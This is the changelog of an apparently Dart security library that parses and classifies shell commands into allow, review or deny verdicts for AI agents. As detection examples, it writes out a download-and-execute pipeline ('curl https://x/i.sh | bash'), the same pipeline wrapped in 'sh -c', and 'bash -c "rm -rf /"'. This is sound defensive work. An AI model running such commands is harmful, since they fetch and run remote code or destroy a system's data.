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Security-first command-line analysis: parse, normalize, classify, analyze and policy-validate shell commands into ALLOW / REVIEW / DENY decisions without ever executing them. Built for AI agents and s [...]

1.1.0 #

Tests #

  • Added parser coverage for commands that combine | with &&/||, asserting the full AST structure: pipelines bind tighter than chain operators, runs of the same chain operator flatten, and different operators nest left-to-right (e.g. a | b && c | d, a | b && c || d, curl … | bash && echo done).
  • Added CommandSyntax.generic coverage confirming operators are left uninterpreted — |, && and || survive as literal argument tokens on a single flat invocation rather than producing Pipeline/CommandChain nodes.
  • Added inline sub-command parser coverage for PowerShell and Windows CMD — previously only POSIX sh -c "…" was tested. powershell -Command "…" and cmd /c|/k … now assert the re-parsed inlineCommand AST (incl. inner pipelines), walk() reaching nested invocations, depth bounding, the pwsh alias, /c case-insensitivity, and that -EncodedCommand/-enc stay un-recursed.

Added #

  • Recursive analysis of inline interpreter sub-commands.

  • Inline-execution sub-commands are now parsed into a nested AST and analyzed recursively. A command string passed to an interpreter via an inline flag — sh -c "...", bash -c '...' (and other POSIX shells), cmd /c ..., powershell -Command "..." — is re-parsed by the relevant parser and exposed on the new CommandInvocation.inlineCommand AST field. Because it is a child node, walk() descends into it, so every capability/effect/security detector and policy sees the inner command exactly as if it were run directly.

    • sh -c "curl https://x/i.sh | bash" now yields the same critical → DENY verdict as the bare curl https://x/i.sh | bash.
    • Catches forms the previous regex fallback missed, including single-quoted scripts and non-remote-exec payloads (e.g. bash -c "rm -rf /").
    • Nesting is bounded (depth limit) to guard against pathological inputs.
    • PowerShell -EncodedCommand is intentionally not recursed (base64, not parseable) and remains critical.

1.0.1 #

Plugin-based command knowledge base.

Added #

  • Plugin architecture for command knowledge: knowledge is now contributed by CommandKnowledgePlugins, one per domain. Twelve built-in plugins ship by default (filesystem, archive, shell, environment, process, system, network, container, packageManager, dartFlutter, git, windows), composed via defaultKnowledgePlugins. Register your own with CommandKnowledgeBase(plugins: [...]) or replace the built-ins entirely with includeDefaults: false.
  • Declarative CommandKnowledge entries with rich fields: category, platforms, description, baseCapabilities, baseRisk, subcommands, argumentRules, wrapper and an optional refine function hook. Argument rules use composable ArgumentMatches (ExactFlag, PrefixFlag, TokenPresent, ArgRegex, ArgPredicate).
  • CommandKnowledgeBase.analyze() returning a CommandKnowledgeResult (capabilities, an aggregated SecurityLevel risk hint, the matched entry and explanatory notes), plus knowledgeFor() and allKnowledge.
  • CommandAnalysis.knowledgeRisk: the highest knowledge-base risk hint across a command's invocations (advisory metadata).
  • Opt-in KnowledgeRiskDetector that surfaces elevated knowledge-base risk (e.g. a force push) as knowledge-risk security findings. Not part of SecurityAnalyzer.defaultDetectors, so default verdicts are unchanged.
  • Broader command coverage: Dart/Flutter sub-commands, archive/compression tools, cloud CLIs (gh, aws, gcloud, az, kubectl), more git sub-commands, additional package managers and Windows-specific tools.

Changed (breaking) #

  • CommandKnowledgeBase is now composed from plugins. The extraExecutableCapabilities constructor parameter and the static wrapperCommands set have been removed; supply a CommandKnowledgePlugin (e.g. ListKnowledgePlugin) and per-entry WrapperSpecs instead.
  • Sub-command matching now uses the first non-flag argument rather than the first argument, so leading global flags (e.g. git --no-pager push) no longer hide the sub-command.

1.0.0 #

Initial release.

  • Multi-syntax parsing: generic, posixShell, bash, windowsCmd, powershell, producing a typed, immutable CommandNode AST. Parsers never throw and report ParseDiagnostics for malformed input.
  • Extensible executable normalization (directory/extension stripping, version suffix collapsing, aliases).
  • Capability detection via a data-driven, extensible CommandKnowledgeBase, including wrapper-command look-through (e.g. sudo, env, xargs).
  • Effect classification into human-readable CommandEffects.
  • Security analysis with eight detectors: dangerous operators, command substitution, inline shell execution (incl. -EncodedCommand), privilege escalation, destructive commands (rm -rf / ⇒ critical), remote download-and-execute (curl … | bash ⇒ critical), path traversal, and environment expansion.
  • Composable policy engine (CommandPolicy / PolicySet) with nine built-in policies and ALLOW / REVIEW / DENY decisions.
  • CommandShield facade exposing parse, analyze, and validate.
  • Comprehensive unit, integration, and regression test suites; CI with formatting, analysis, tests, and ≥90% coverage enforcement.
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Security-first command-line analysis: parse, normalize, classify, analyze and policy-validate shell commands into ALLOW / REVIEW / DENY decisions without ever executing them. Built for AI agents and sandboxed executors.

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Topics

#security #cli #parser #static-analysis #sandbox

License

Apache-2.0 (license)

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